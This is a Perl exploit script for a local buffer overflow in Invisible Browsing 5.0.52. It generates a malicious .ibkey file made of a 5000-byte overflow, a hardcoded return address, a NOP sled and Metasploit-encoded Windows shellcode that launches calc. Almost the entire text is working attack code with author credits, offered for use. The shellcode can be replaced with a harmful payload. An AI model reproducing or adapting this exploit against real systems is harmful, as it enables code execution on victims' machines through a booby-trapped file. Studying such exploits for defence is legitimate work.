Invisible Browsing 5.0.52 Buffer Overflow

`#!/usr/bin/perl  
  
print qq(  
############################################################  
## Iranian Pentesters Home ##  
## Www.Pentesters.Ir ##  
## PLATEN -[ H.jafari ]- ##   
## Invisible Browsing 5.0.52 (.ibkey) Local BoF Exploit ##  
## bug found & exploited by: PLATEN ##  
## E-mail && blog: ##  
## hjafari.blogspot.com ##  
## platen.secure[at]gmail[dot]com ##   
## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder ##  
## and all members in Pentesters.ir ##  
############################################################  
);  
# Note: I just test this version  
$junk ="\x41"x 5000;  
$ret = "\x93\x43\x92\x7c";  
$nop = "\x90" x 50;  
# win32_exec - Size=160  
#EXITFUNC=seh CMD=calc   
#Encoder=PexFnstenvSub http://metasploit.com  
$shellcode =  
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".  
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".  
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".  
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".  
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".  
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".  
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".  
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".  
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".  
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";  
open(fhandle,'>>expl.ibkey');  
print fhandle $junk.$ret.$nop.$shellcode;  
close(fhandle);  
print "\n [+] File created successfully: expl.ibkey \n";  
  
  
`